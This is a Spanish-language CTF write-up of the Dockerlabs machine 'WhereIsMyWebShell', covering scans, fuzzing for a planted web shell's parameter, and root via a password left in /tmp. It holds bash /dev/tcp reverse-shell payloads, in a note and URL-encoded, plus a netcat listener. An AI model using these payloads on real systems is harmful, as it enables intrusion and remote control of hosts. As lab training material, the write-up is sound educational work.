> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/whereismywebshell.md).

# WhereIsMyWebShell

TAG -> Dockerlabs | CTF

<details>

<summary>Datos</summary>

* **Máquina** -> WhereIsMyWebShell
* **Dificultad** -> Fácil
* **Creador** -> [El Pingüino de Mario](https://www.youtube.com/channel/UCGLfzfKRUsV6BzkrF1kJGsg)

</details>

Como parte del reconocimiento inicial, comprobamos la conectividad con la máquina objetivo.

```bash
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.115 ms
RR: 	172.17.0.1
		172.17.0.2
		172.17.0.2
		172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.115/0.115/0.115/0.000 ms
```

La respuesta confirma que existe conectividad. El **TTL de 64** es habitual en sistemas Linux, aunque no permite identificar el sistema operativo con certeza. Después de organizar el entorno con `mkt`, realizamos un escaneo inicial de puertos.

```bash
❯ PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C -o recognition.txt

[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):

  [!] Puerto 80 abierto!
  [+] Port: 1000 / 1000 

[+] Lista de puertos abiertos: [80]
[+] Información de servicios y versiones:

  [+] 80/tcp    http      Apache httpd 2.4.57 ((Debian))

[+] Comprobando vulnerabilidades:

  [+] Tecnologías detectadas en HTTP:

        http://172.17.0.2:80 [200 OK] Apache[2.4.57],
        Country[RESERVED][ZZ],
        HTML5,
        HTTPServer[Debian Linux][Apache/2.4.57 (Debian)],
        IP[172.17.0.2],
        Title[Academia de Inglés (Inglis Academi)],

[*] Evidencia guardada en recognition.txt
```

El primer escaneo identifica únicamente el puerto **80/TCP** abierto entre los examinados. Utilizamos `nmap` para obtener información adicional sobre el servicio HTTP.

```bash
❯ nmap -sCV -p 80 172.17.0.2 -oN targeted.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:23 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.00026s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Academia de Ingl\xC3\xA9s (Inglis Academi)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.78 seconds
```

El resultado identifica Apache 2.4.57 sobre Debian, sin indicios evidentes de una vulnerabilidad explotable. Continuamos con un escaneo más detallado de `nmap`.

```bash
❯ nmap -A --script http-headers 172.17.0.2 -oX xml -oN targeted_A.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:26 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.023s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
| http-headers: 
|   Date: Sun, 13 Oct 2024 05:26:11 GMT
|   Server: Apache/2.4.57 (Debian)
|   Last-Modified: Fri, 12 Apr 2024 16:07:21 GMT
|   ETag: "9ce-615e87774c040"
|   Accept-Ranges: bytes
|   Content-Length: 2510
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

TRACEROUTE
HOP RTT      ADDRESS
1   23.36 ms 172.17.0.2

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds
```

Las cabeceras HTTP sugieren que estamos ante la página predeterminada de Apache, aunque anteriormente Nmap identificó el título de una academia de inglés. Realizamos un último escaneo de comprobación antes de revisar el contenido web y enumerar archivos y directorios.

```bash
❯ nmap -p 80 --script vuln 172.17.0.2 -oN webScan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:30 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.00049s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 22.64 seconds
```

Los scripts utilizados no encuentran indicios de XSS o CSRF, pero esto no demuestra que la aplicación esté libre de estas vulnerabilidades. Como al visitar la página vemos la interfaz predeterminada de Apache, continuamos con la enumeración de contenido mediante `feroxbuster`.

```bash
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 302, 301, 401]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      521l     2920w   254921c http://172.17.0.2/clase_ingles.jpg
200      GET      855l     4253w   327103c http://172.17.0.2/escuela.jpg
200      GET       91l      227w     2510c http://172.17.0.2/
[############>-------] - 2m    134691/220550  73s     found:3       errors:141    
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_172_17_0_2-1728797707.state ...
```

Durante la enumeración aparecen dos imágenes relacionadas con clases y una escuela de inglés. A continuación, ampliamos la búsqueda a extensiones de archivo.

```bash
❯ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,zip --threads 200 --status-codes 200,302,301,401 --no-recursion

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 302, 301, 401]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html, txt, zip]
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      855l     4253w   327103c http://172.17.0.2/escuela.jpg
200      GET      521l     2920w   254921c http://172.17.0.2/clase_ingles.jpg
200      GET       91l      227w     2510c http://172.17.0.2/
200      GET       91l      227w     2510c http://172.17.0.2/index.html
200      GET       11l       34w      315c http://172.17.0.2/warning.html
[###>----------------] - 3m    170189/1102750 15m     found:5       errors:203    
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_172_17_0_2-1728797900.state ...
```

Los resultados explican la referencia a la academia de inglés. Al abrir `index.html`, encontramos contenido relacionado con la escuela; la diferencia respecto de la página mostrada anteriormente podría deberse a la caché del navegador, aunque no está confirmado. Al final aparece una pista sobre un secreto en el directorio `/tmp`, que podría ser útil más adelante. Por su parte, `warning.html` advierte que alguien dejó una *web shell* cuyo parámetro se desconoce. Nuestro objetivo será localizarla y determinar cómo funciona.

```bash
❯ ll
.rw-r--r-- root root 136 KB Fri Apr 12 10:57:58 2024  clase_ingles.jpg
.rw-r--r-- root root 176 KB Fri Apr 12 10:57:03 2024  escuela.jpg
❯ steghide extract -sf clase_ingles.jpg
Anotar salvoconducto: 
steghide: el formato del archivo "clase_ingles.jpg" no es reconocido.
❯ steghide extract -sf escuela.jpg
Anotar salvoconducto: 
steghide: no pude extraer ningn dato con ese salvoconducto!
❯ stegseek escuela.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Progress: 99.82% (133.2 MB)           
[!] error: Could not find a valid passphrase.
```

Después de descargar las imágenes con `wget` y probar las herramientas mostradas, no encontramos información útil mediante esas técnicas. Continuamos la enumeración con `feroxbuster`, esta vez centrando la búsqueda en archivos `.php` y sin restringir manualmente los códigos de estado HTTP. Así encontramos un resultado interesante.

```bash
❯ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php --threads 200 --no-recursion

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
500      GET        0l        0w        0c http://172.17.0.2/shell.php
200      GET      521l     2920w   254921c http://172.17.0.2/clase_ingles.jpg
200      GET      855l     4253w   327103c http://172.17.0.2/escuela.jpg
200      GET       91l      227w     2510c http://172.17.0.2/
[####################] - 48s   220550/220550  0s      found:4       errors:386   
[####################] - 48s   220548/220548  4592/s  http://172.17.0.2/ 
```

Encontramos `shell.php`, que responde con un error **HTTP 500**. Esto sugiere que podría requerir algún parámetro, aunque el código de estado por sí solo no lo demuestra. Probamos posibles nombres de parámetros con `wfuzz` hasta encontrar uno que modifica la respuesta.

```bash
❯ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=500 "http://172.17.0.2/shell.php?FUZZ=id"
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.17.0.2/shell.php?FUZZ=id
Total requests: 220562

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                
=====================================================================

000115403:   200        2 L      4 W        66 Ch       "parameter"                                                                                            
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 0
Processed Requests: 119800
Filtered Requests: 119799
Requests/sec.: 0
```

El parámetro encontrado se llama `parameter`. Al enviar `id` como valor, la aplicación devuelve **HTTP 200**, un indicio que podemos contrastar con el contenido de la respuesta para confirmar la ejecución. También es posible reproducir la enumeración con `ffuf`, cuya utilización y consumo de recursos dependerán de la configuración y del entorno.

```bash
❯ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/shell.php?FUZZ=id" -t 14 -fc 500

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://172.17.0.2/shell.php?FUZZ=id
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 14
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 500
________________________________________________

parameter               [Status: 200, Size: 66, Words: 3, Lines: 3, Duration: 1ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
```

La identificación del parámetro de la *web shell* permite comprobar la ejecución remota de comandos (**RCE**) en el entorno de laboratorio. Preparamos una carga útil para obtener una shell interactiva.

```bash
❯ bat nota_2.txt
───────┬────────────────────────────────────────────────────────────────
      │ File: nota_2.txt
───────┼────────────────────────────────────────────────────────────────
  1   │ # Reverse shell
  2   │ 
  3   │ -> bash -i >& /dev/tcp/IP_ATACANTE/PUERTO 0>&1
  4   │ -> bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/PUERTO 0>&1'
───────┴────────────────────────────────────────────────────────────────
```

Utilizamos la segunda variante y la codificamos con mi función `urlencode` para transmitir los caracteres especiales dentro de la URL.

```bash
❯ urlencode "bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'"

[+] bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F172.17.0.1%2F1234+0%3E%261%27
```

La función es la siguiente. Podemos añadirla a `.bashrc` o `.zshrc`; requiere tener **PHP** instalado y utiliza `xclip` para copiar el resultado al portapapeles:

{% code lineNumbers="true" %}

```bash
# URL encode
function urlencode(){
  out=$(php -r 'print urlencode($argv[1]);' "$1")
  echo -e "\n[+] $out\n"
  echo -n "$out" | xclip -sel clip
}
```

{% endcode %}

Preparamos un listener con `nc` en el puerto **1234** y enviamos la carga útil al servidor mediante la *web shell*.

```bash
❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 42436
bash: cannot set terminal process group (22): Inappropriate ioctl for device
bash: no job control in this shell
www-data@f47c599ec04e:/var/www/html$ 
```

La conexión inversa nos proporciona una shell como `www-data`. Antes de continuar con la escalada de privilegios, mejoramos la interacción con la terminal mediante el siguiente procedimiento.

```bash
script /dev/null -c bash # Lo ejecutamos en la maquina victima
ctrl + z
stty raw -echo;fg # Lo ejecutamos en nuestra maquina
reset xterm # Lo escribimos en la maquina victima

stty size # Lo ejecutamos en nuestra maquina para saber nuestras dimensiones
```

Una vez conocidas las dimensiones de nuestra terminal, podemos configurar su tamaño y las variables del entorno en la máquina objetivo para facilitar la interacción.

```bash
stty rows 46 cols 168 && export TERM=xterm-256color SHELL=bash && source /etc/skel/.bashrc
```

Para continuar con la escalada de privilegios, retomamos la pista sobre un archivo secreto en el directorio `/tmp`:

```bash
www-data@f47c599ec04e:/var/www/html$ cat /tmp/.secret.txt 
contraseñaderoot123
www-data@f47c599ec04e:/var/www/html$ su root
Password: 
root@f47c599ec04e:/var/www/html# whoami
root
root@f47c599ec04e:/var/www/html# 
```

El contenido de `/tmp/.secret.txt` resulta ser la contraseña de `root`. Después de utilizar `su root`, confirmamos con `whoami` que hemos obtenido privilegios administrativos. Con ello completamos la máquina **WhereIsMyWebShell**.
